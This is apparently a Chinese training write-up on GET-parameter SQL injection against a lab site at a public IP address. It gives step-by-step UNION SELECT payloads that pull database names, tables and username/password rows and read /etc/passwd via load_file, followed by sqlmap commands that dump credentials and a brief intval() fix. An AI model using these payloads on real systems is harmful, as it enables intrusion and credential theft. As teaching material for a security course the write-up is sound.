zl程序教程

您现在的位置是:首页 >  后端

当前栏目

某行业攻防培训-----sql注入(get注入)

注入SQL 行业 get 培训 ----- 攻防
2023-09-27 14:28:02 时间

0x01:写在前面:

一、手工注入

1.判断注入类型

①访问一个网站:39.104.86.227:10000/index.php?id=1
在这里插入图片描述
②判断是否为整形注入:
?id=1 and 1=1
?id=1 and 1=2
//注意:若输入的结果不同,则为整型注入
//and 1=1 是一个逻辑判断语句(用来判断是否使and之前的语句生效),因为1=1恒成立,所以前面的?id=1生效(实质上就是执行id = 1 and 1=1)
//and 1=2 是一个逻辑判断语句(用来判断是否使and之前的语句生效),因为1=2恒不成立,所以前面的?id=1不生效(实质上就是执行id = 1 and 1=2)

?id=1  and 1=1

在这里插入图片描述

?id=1  and 1=2

在这里插入图片描述

2.用order by n 进行测试字段(二分法)
①测试有几个字段

?id=1 order by 5

在这里插入图片描述

?id=1 order by 3

在这里插入图片描述

?id=1 order by 4

在这里插入图片描述

3.用union select 联合查询
①测试哪些字段有数据,是可用的
②问什么是id=-1呢?
因为,若id为1,2,3,4其中一个,那么就回显他们的参数
若为不是其中一个,就可以显示所有的,-1肯定不是,所以可以用-1

?id=-1 union select 1,2,3,4

③如图所示,第四个无回显,不可用
在这里插入图片描述

4.利用version()查看数据库的版本号

?id=-1 union select 1,version(),3,4

在这里插入图片描述

5.利用user()查看数据库的用户权限

?id=-1 union select 1,version(),user(),4

在这里插入图片描述

5.利用database()查询当前所用的数据库

?id=-1 union select 1,version(),database(),4

在这里插入图片描述
6.,查看数据库sqltest里的表

?id=-1 union select 1,version(),group_concat(table_name),4 from information_schema.tables where table_schema='sqltest'   #列出所有表

在这里插入图片描述

?id=-1 union select 1,version(),table_name,4  from information_schema.tables  where table_schema='sqltest' limit 0,1  #查看数据库里的第一个表

在这里插入图片描述

?id=-1 union select 1,version(),table_name,4 from information_schema.tables where table_schema='sqltest' limit 1,1  #查看第二个表

在这里插入图片描述

7.查看user表内的字段

?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'users'

在这里插入图片描述

8.查数据

?id=-1 union select 1,username,password,4 from sqltest.user where id = 1
?id=-1 union select 1,username,password,4 from sqltest.user where id = 2

二、sqlmap注入:

0.查看库里的用户有哪些?

sqlmap -u "http://39.104.86.227:10000/index.php?id=1"  --batch  --users

在这里插入图片描述
1.查看数据库有哪些

sqlmap -u "http://39.104.86.227:10000/index.php?id=1"  --batch  --dbs

// --dbs 查看数据库
// --batch 默认回车

在这里插入图片描述
//如图所示,三张可用库
//information_shcema 默认库
//mysql 默认库
//sqltest 创建的库

2.查询sqltest库中的表

sqlmap -u "http://39.104.86.227:10000/index.php?id=1"  --batch  -D "sqltest" --tables

在这里插入图片描述
//如图所示,两张表

3.查询两个表中的列

sqlmap -u "http://39.104.86.227:10000/index.php?id=1"  --batch  -D "sqltest" -T "news,users" --columns

在这里插入图片描述
4.查询列中字段的内容

sqlmap -u "http://39.104.86.227:10000/index.php?id=1"  --batch  -D "sqltest" -T "news,users" -C "username,password,id"  --dump

在这里插入图片描述

0x02:WP

1.输入:

?id=1

结果:报错
所以:不是字符型
在这里插入图片描述
2.分别输入:

?id=1 and 1=1

在这里插入图片描述

?id=1  and  1=2

在这里插入图片描述
结果:
一个回显
一个不回显
//因为1=1时候为真,id=1才传参;而1=2时候为假,id=1不传参
所以:是整形注入

3.联合查询,探测字段长度,有四个

?id=1 order by 10

在这里插入图片描述

?id=1 order by  5

在这里插入图片描述

?id=1 order by  4

在这里插入图片描述
4.联合查询,第4个为空***(注意为id=-1,为了显示所有字段内容)***

?id=-1 union select 1,2,3,4

在这里插入图片描述
5.查询服务器版本,用户,等等

?id=-1 union select version(),user(),3,4

在这里插入图片描述
6.联合查询,查询mysql服务器的/etc/passwd/

?id=-1  union select load_file("/etc/passwd"),2,3,4

在这里插入图片描述

7.联合查询,查询mysql服务器上的flag.txt

?id=-1 union select load_file("/falg.txt"),2,3,4

//假如,跟目录下有一个falg.txt
在这里插入图片描述

0x03:服务器上的sql加固方案

针对这种情况,因为我们传入的都是整数,可以用intval()函数进行加密

$id = intval($_GET["id"]);